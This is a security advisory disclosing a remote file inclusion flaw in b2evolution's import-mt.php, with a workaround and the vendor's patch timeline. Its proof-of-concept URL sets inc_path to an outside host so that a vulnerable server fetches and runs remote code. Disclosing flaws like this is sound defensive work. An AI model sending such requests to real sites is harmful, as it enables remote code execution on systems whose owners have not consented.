b2evolution Remote File inclusion Vulnerability

Severity: High
Title: b2evolution Remote File inclusion Vulnerability
Date: 28.11.06
Author: tarkus (tarkus (at) tiifp (dot) org)
Web: https://tiifp.org/tarkus
Vendor: b2evolution (http://b2evolution.net/)
Affected Product(s): b2evolution 1.8.5 - 1.9 beta

Description:

Line 67 of import-mt.php (blogs/inc/CONTROL/imports):

>
>require_once $inc_path.'MODEL/files/_file.funcs.php';
>

PoC:

http://<victim>/<b2epath>/inc/CONTROL/import/import-mt.php?basepath= \
foo&inc_path=https://tiifp.org/tarkus/PoC/

register_globals and allow_url_fopen have to be On

Workaround:

Put the following line at the beginning of the file.

if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page \
directly.' );

Vendor Response:

Reported to Vendor: 10.11.06
Vendor response: 10.11.06
Patch in CVS: 10.11.06